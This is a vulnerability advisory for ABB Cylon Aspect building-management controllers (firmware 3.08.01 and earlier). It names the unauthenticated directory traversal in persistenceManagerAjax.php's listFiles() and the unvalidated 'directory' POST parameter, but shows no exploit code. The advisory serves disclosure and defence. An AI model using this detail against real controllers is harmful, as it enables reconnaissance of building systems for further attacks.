ABB Cylon Aspect 3.08.01 (persistenceManagerAjax.php) Directory Traversal


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.01

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The BMS/BAS controller has a directory traversal vulnerability that
can be exploited by an unauthenticated attacker to list the contents of
arbitrary directories without reading file contents, leading to information
disclosure of directory structures and filenames. This may expose sensitive
system details, aiding in further attacks. The issue lies in the listFiles()
function of the persistenceManagerAjax.php script, which calls PHP's readdir()
function without proper input validation of the 'directory' POST parameter.
